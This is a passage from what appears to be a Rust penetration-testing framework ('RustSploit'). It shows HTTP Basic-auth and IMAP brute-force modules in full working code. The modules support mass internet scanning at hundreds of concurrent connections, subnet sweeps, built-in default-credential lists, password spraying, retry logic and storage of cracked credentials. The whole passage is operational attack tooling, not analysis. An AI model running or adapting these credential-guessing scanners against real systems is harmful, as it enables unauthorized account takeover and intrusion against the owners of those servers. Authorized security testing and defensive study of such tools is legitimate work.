default_port: if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT },
|
||||
state_file: "http_basic_hose_state.log",
|
||||
default_output: "http_basic_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let url_path = url_path.clone();
|
||||
async move {
|
||||
// Quick TCP check
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let scheme = if use_https { "https" } else { "http" };
|
||||
let base_url = format!("{}://{}:{}{}", scheme, ip, port, url_path);
|
||||
|
||||
// First check if endpoint requires Basic auth (401 response)
|
||||
let client = match reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()
|
||||
{
|
||||
Ok(c) => c,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
match client.get(&base_url).send().await {
|
||||
Ok(resp) if resp.status().as_u16() == 401 => {
|
||||
// Basic auth required, try defaults
|
||||
}
|
||||
_ => return None, // No auth required or unreachable
|
||||
}
|
||||
|
||||
let creds: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("root", "root"),
|
||||
("admin", "1234"),
|
||||
("admin", ""),
|
||||
("root", ""),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
match client
|
||||
.get(&base_url)
|
||||
.basic_auth(user, Some(pass))
|
||||
.send()
|
||||
.await
|
||||
{
|
||||
Ok(resp) if resp.status().as_u16() == 200 => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"http-basic",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/http_basic_credcheck",
|
||||
).await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
_ => continue,
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
|
||||
let default_port = if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "http_basic_subnet_results.txt").await?;
|
||||
|
||||
let subnet_client = Arc::new(reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.redirect(reqwest::redirect::Policy::none())
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?);
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "http-basic",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/http_basic_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let url_path = url_path.clone();
|
||||
let client = Arc::clone(&subnet_client);
|
||||
async move {
|
||||
let scheme = if use_https { "https" } else { "http" };
|
||||
let url = format!("{}://{}:{}{}", scheme, ip, port, url_path);
|
||||
match try_http_login(&client, &url, &user, &pass).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let he = HttpError::from_string(e.to_string());
|
||||
LoginResult::Error {
|
||||
message: he.message,
|
||||
retryable: he.error_type.is_retryable(),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
|
||||
let default_port = if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
|
||||
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "http_basic_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let scheme = if use_https { "https" } else { "http" };
|
||||
let base_url = format!("{}://{}:{}{}", scheme, target, port, url_path);
|
||||
let connect_addr = normalize_target(&format!("{}:{}", target, port))
|
||||
.unwrap_or_else(|_| format!("{}:{}", target, port));
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {} ({})", connect_addr, base_url).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let shared_client = Arc::new(reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.redirect(reqwest::redirect::Policy::none())
|
||||
.timeout(Duration::from_secs(connection_timeout))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?);
|
||||
|
||||
let try_login = move |_t: String, _p: u16, user: String, pass: String| {
|
||||
let url = base_url.clone();
|
||||
let client = Arc::clone(&shared_client);
|
||||
async move {
|
||||
match try_http_login(&client, &url, &user, &pass).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let he = HttpError::from_string(e.to_string());
|
||||
LoginResult::Error {
|
||||
message: he.message,
|
||||
retryable: he.error_type.is_retryable(),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "http-basic",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/http_basic_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored HTTP responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "http_basic_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# HTTP Basic Auth Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// HTTP Basic Auth Login Attempt
|
||||
// ============================================================================
|
||||
|
||||
/// Attempt HTTP Basic Auth login.
|
||||
/// Returns Ok(true) on 200 (success), Ok(false) on 401/403 (auth failed),
|
||||
/// Err on connection/protocol errors.
|
||||
async fn try_http_login(
|
||||
client: &reqwest::Client,
|
||||
url: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
) -> Result<bool> {
|
||||
let response = client
|
||||
.get(url)
|
||||
.basic_auth(user, Some(pass))
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| anyhow!("HTTP request failed: {}", e))?;
|
||||
|
||||
let status = response.status().as_u16();
|
||||
match status {
|
||||
200..=299 => Ok(true),
|
||||
401 | 403 => Ok(false),
|
||||
301 | 302 | 303 | 307 | 308 => {
|
||||
// Only count redirect as success if it doesn't point to a login/auth page
|
||||
if let Some(location) = response.headers().get("location") {
|
||||
let loc = location.to_str().unwrap_or("").to_lowercase();
|
||||
if loc.contains("login") || loc.contains("auth") || loc.contains("signin") || loc.contains("sso") {
|
||||
Ok(false) // Redirect to login page = auth failed
|
||||
} else {
|
||||
Ok(true) // Redirect to non-login page = likely success
|
||||
}
|
||||
} else {
|
||||
Err(anyhow!("HTTP {} redirect with no Location header", status))
|
||||
}
|
||||
}
|
||||
_ => Err(anyhow!("HTTP {}", status)),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,591 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use native_tls::TlsConnector;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines, get_filename_in_current_dir,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
backoff_delay,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_IMAP_PORT: u16 = 143;
|
||||
const DEFAULT_IMAPS_PORT: u16 = 993;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "123456"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "password"),
|
||||
("user", "user"),
|
||||
("user", "password"),
|
||||
("test", "test"),
|
||||
("guest", "guest"),
|
||||
("info", "info"),
|
||||
("mail", "mail"),
|
||||
("postmaster", "postmaster"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "IMAP Brute Force".to_string(),
|
||||
description: "Brute-force IMAP authentication using raw TCP protocol with TLS/IMAPS \
|
||||
support. Sends IMAP LOGIN commands, handles greeting banners, and supports \
|
||||
default credential testing, combo mode, concurrent connections, and subnet/mass \
|
||||
scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://datatracker.ietf.org/doc/html/rfc3501".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum ImapErrorType {
|
||||
AuthenticationFailed,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
TlsError,
|
||||
ProtocolError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl ImapErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("authentication")
|
||||
|| lower.contains("login")
|
||||
|| lower.contains("invalid credential")
|
||||
|| lower.contains("a001 no")
|
||||
{
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("tls")
|
||||
|| lower.contains("ssl")
|
||||
|| lower.contains("certificate")
|
||||
|| lower.contains("handshake")
|
||||
{
|
||||
Self::TlsError
|
||||
} else if lower.contains("protocol") || lower.contains("unexpected") || lower.contains("banner") {
|
||||
Self::ProtocolError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::TlsError => "TLS/SSL error",
|
||||
Self::ProtocolError => "Protocol error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct ImapError {
|
||||
error_type: ImapErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ImapError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for ImapError {}
|
||||
|
||||
impl ImapError {
|
||||
fn from_anyhow(err: anyhow::Error) -> Self {
|
||||
let msg = err.to_string();
|
||||
let error_type = ImapErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Module Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "=== IMAP Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = std::sync::Arc::new(load_lines(&usernames_file)?);
|
||||
let passes = std::sync::Arc::new(load_lines(&passwords_file)?);
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "IMAP",
|
||||
default_port: if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT },
|
||||
state_file: "imap_hose_state.log",
|
||||
default_output: "imap_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target_str = ip.to_string();
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
let mut retry_attempt: u32 = 0;
|
||||
let max_retries: u32 = 3;
|
||||
let mut should_skip_host = false;
|
||||
loop {
|
||||
let t = target_str.clone();
|
||||
let u = user.clone();
|
||||
let p = pass.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_imap_login(&t, port, &u, &p, use_tls, 5)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line = format!("[{}] {}:{}:{}:{}\n", now, ip, port, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}:{}:{}:{}", ip, port, user, pass).green().bold());
|
||||
return Some(line);
|
||||
}
|
||||
Ok(Ok(false)) => break, // auth failed, try next
|
||||
Ok(Err(e)) => {
|
||||
if e.error_type.is_retryable() && retry_attempt < max_retries {
|
||||
retry_attempt += 1;
|
||||
let delay = backoff_delay(500, retry_attempt, 8);
|
||||
tokio::time::sleep(delay).await;
|
||||
continue;
|
||||
}
|
||||
should_skip_host = true;
|
||||
break;
|
||||
}
|
||||
Err(_) => {
|
||||
should_skip_host = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if should_skip_host {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
|
||||
let default_port = if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "imap_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = 5;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "imap",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/imap_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_imap_login(&target_str, port, &user, &pass, use_tls, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
|
||||
let default_port = if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "imap_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_imap_login(&t, p, &user, &pass, use_tls, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "imap",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/imap_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored IMAP responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "imap_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
